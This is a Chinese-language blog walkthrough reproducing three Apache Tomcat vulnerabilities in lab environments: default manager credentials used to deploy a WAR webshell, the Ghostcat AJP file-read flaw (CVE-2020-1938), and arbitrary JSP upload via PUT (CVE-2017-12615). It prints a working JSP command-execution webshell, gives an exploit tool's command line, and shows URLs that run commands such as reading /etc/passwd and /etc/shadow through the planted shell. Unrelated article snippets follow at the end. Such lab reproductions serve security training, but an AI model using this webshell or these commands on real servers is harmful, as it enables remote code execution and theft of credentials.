Apache Tomcat 漏洞复现

文章目录

  • Apache Tomcat 漏洞复现
    • 1. Tomcat7 弱密码和后端 Getshell 漏洞
      • 1.1 漏洞描述
      • 1.2 漏洞复现
      • 1.3 漏洞利用
        • 1.3.1 jsp小马
        • 1.3.2 jsp大马
    • 2. Aapache Tomcat AJP任意文件读取/包含漏洞
      • 2.1 漏洞描述
      • 2.1 漏洞复现
      • 2.2 漏洞利用工具
    • 3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞
      • 3.1 漏洞描述
      • 3.2 漏洞复现
      • 3.3 漏洞利用

Apache Tomcat 漏洞复现

1. Tomcat7 弱密码和后端 Getshell 漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

1.1 漏洞描述

说明内容
漏洞编号
漏洞名称Tomcat7+ Weak Password && Backend Getshell Vulnerability
漏洞评级高危
影响范围8.0
漏洞描述Tomcat 支持通过后端部署 war 文件,所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端,需要权限。
修复方案打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

image-20230907165146041

访问页面

image-20230907165207175

点击管理控制平台

image-20230907165405345

用户名和密码都是tomcat

image-20230907165446271

进入到了tomcat后台项目管理控制台

image-20230907165526066

如果黑客攻击者拿到这个控制台,就会有很大的风险。甚至可以将大型木马打包成WAR包进行部署。

image-20230907165807753

1.3 漏洞利用

1.3.1 jsp小马

创建一个jsp木马

<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

然后将其打包成WAR包

image-20230907191640787

然后及将打包好的WAR包进行上传即可。

image-20230907190921996

上传成功

image-20230907191006915

访问页面

image-20230907191049345

上传的木马中写了密码为023再次访问,然后使用ls命令来查看当前目录下有哪些文件。

image-20230907191152829

查看权限

image-20230907191336053

env打印环境变量

image-20230907191546560

1.3.2 jsp大马

Webshell:138shell update · tennc/webshell@6a88226 (github.com)。

利用我们准备好的大马,将其打包成war包后进行上传

image-20230907192539065

image-20230907192552215

上传成功

image-20230907192630248

访问成功

image-20230907192707830

image-20230907192811788

2. Aapache Tomcat AJP任意文件读取/包含漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

2.1 漏洞描述

说明内容
漏洞编号CVE-2020-1938
漏洞名称Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability
漏洞评级高危
影响范围9.0.30
漏洞描述由于Tomcat AJP协议中的缺陷,攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如,攻击者可以读取 Web 应用配置文件或源代码。此外,如果目标Web应用具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。
修复方案打补丁,上设备,升级组件

2.1 漏洞复现

环境启动

image-20230907175945335

2.2 漏洞利用工具

下载漏洞利用工具链接:github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi。

使用工具:

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.188.185 -p 8009 -f WEB-INF/web.xml

文件读取成功

image-20230907174949166

查看读取的web.xml文件位置

image-20230907175412413

发现和我们之前读取的文件内容一致

image-20230907175433556

测试是否还可以读取其他的文件

我们可以在WEB-INF目录中创建一个wuhu.txt文件并在里面输入内容

image-20230907175641022

然后尝试读取该文件内容

image-20230907175716461

最后验证得出,这里读取文件是有限制的,只能读取ROOT目录下的文件

image-20230907175822217

3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment。

3.1 漏洞描述

说明内容
漏洞编号CVE-2017-12615
漏洞名称Tomcat Arbitrary Write-file Vulnerability through PUT Method
漏洞评级高危
影响范围8.5.19
漏洞描述当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限
修复方案打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

image-20230907193834097

访问页面

image-20230907193851693

漏洞检测

image-20230907194258174

使用nuclei漏洞检测工具

./nuclei -u 192.168.188.185

image-20230907194821338

3.3 漏洞利用

浏览器路径访问

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

%2F表示/

页面显示出来etc/passwd文件内容。

image-20230907194831874

测试是否可以查看shadow文件

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fshadow

image-20230907195007770

测试是否可以执行命令

http://127.0.0.1/poc.jsp?cmd=whoami

image-20230907195054403

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/102235.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ABB MPRC086444-005数字输入模块

ABB MPRC086444-005 是一款数字输入模块&#xff0c;通常用于工业自动化和控制系统中&#xff0c;用于接收和处理数字信号。以下是这种类型的数字输入模块通常可能具备的一般功能和特点&#xff1a; 数字输入接口&#xff1a;MPRC086444-005 模块通常配备多个数字输入通道&…

服务器数据恢复-Xen server虚拟机数据恢复案例

服务器数据恢复环境&#xff1a; 一台某品牌服务器通过一张同品牌某型号RAID卡将4块STAT硬盘组建为一组RAID10阵列。上层部署Xen Server虚拟化平台&#xff0c;虚拟机上安装的是Windows Server操作系统&#xff0c;包括系统盘 数据盘两个虚拟机磁盘&#xff0c;作为Web服务器使…

08-JVM垃圾收集器详解

上一篇&#xff1a;07-垃圾收集算法详解 如果说收集算法是内存回收的方法论&#xff0c;那么垃圾收集器就是内存回收的具体实现。 虽然我们对各个收集器进行比较&#xff0c;但并非为了挑选出一个最好的收集器。因为直到现在为止还没有最好的垃圾收集器出现&#xff0c;更加没…

京东搜索EE链路演进 | 京东云技术团队

导读 搜索系统中容易存在头部效应&#xff0c;中长尾的优质商品较难获得充分的展示机会&#xff0c;如何破除系统的马太效应&#xff0c;提升展示结果的丰富性与多样性&#xff0c;助力中长尾商品成长是电商平台搜索系统的一个重要课题。其中&#xff0c;搜索EE系统在保持排序…

Django请求的生命周期

Django请求的生命周期是指: 当用户在浏览器上输入URL到用户看到网页的这个时间段内&#xff0c;Django后台所发生的事情。 直白的来说就是当请求来的时候和请求走的阶段中&#xff0c;Django的执行轨迹。 一个完整的Django生命周期: 用户从客户端发出一条请求以后&#xff…

【C++】智能指针(RAII)详解

我们在上篇文章中&#xff08;异常处理详解&#xff09;提到了 RAII 。那么本篇文章会对此进行详解。重点是智能指针的详解。其中会讲解到 RAII 思想、auto_ptr、unique_ptr、shared_ptr、weak_ptr、循环引用问题。希望本篇文章会对你有所帮助。 文章目录 一、为什么需要智能指…

MySQL 8.0.34(x64)安装笔记

一、背景 从MySQL 5.6到5.7&#xff0c;再到8.0&#xff0c;版本的跳跃不可谓不大。安装、配置的差别也不可谓不大&#xff0c;特此备忘。 二、过程 &#xff08;1&#xff09;获取MySQL 8.0社区版&#xff08;MySQL Community Server&#xff09;   从 官网 字样 “MySQL …

AVLTree模拟实现

一、常用的搜索逻辑 1、暴力搜索 O(N) 2、二分搜索 前提是有序&#xff0c;可以先用O(NlogN)排序一次&#xff0c;后续每次查找都是logN。 缺点&#xff1a;快排需要容器有随机访问功能&#xff0c;即为顺序表等。 如果不仅要搜索&#xff0c;还要插入删除&#xff0c;此时…

Kubernetes(k8s)部署高可用多主多从的Redis集群

Kubernetes部署高可用多主多从的Redis集群 环境准备准备Kubernetes准备存储类 部署redis准备一个命名空间命令创建yaml文件创建&#xff08;推荐&#xff09; 准备redis配置文件准备部署statefulset的资源清单文件执行文件完成部署初始化集群 环境准备 准备Kubernetes 首先你…

解释模块化开发及其优势,并介绍常用的模块化规范。

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 模块化开发⭐ 模块化开发的优势⭐ 常用的模块化规范⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&#xff01;这个专栏是…

FPGA可重配置原理及实现(1)——导论

一、概述 可重配置技术是Xilinx提供的用来高效利用FPGA设计资源实现FPGA资源可重复利用的最新的FPGA设计技术&#xff0c;这种技术的发展为FPGA应用提供了更加广阔的前景。 术语“重构”是指FPGA已经配置后的重新编程。FPGA的重构有两种类型&#xff1a;完全的和部分的。完全重…

Kafka3.0.0版本——消费者(消费者组原理)

目录 一、消费者组原理1.1、消费者组概述1.2、消费者组图解示例1.3、消费者组注意事项 一、消费者组原理 1.1、消费者组概述 Consumer Group&#xff08;CG&#xff09;&#xff1a;消费者组&#xff0c;由多个consumer组成。形成一个消费者组的条件&#xff0c;是所有消费者…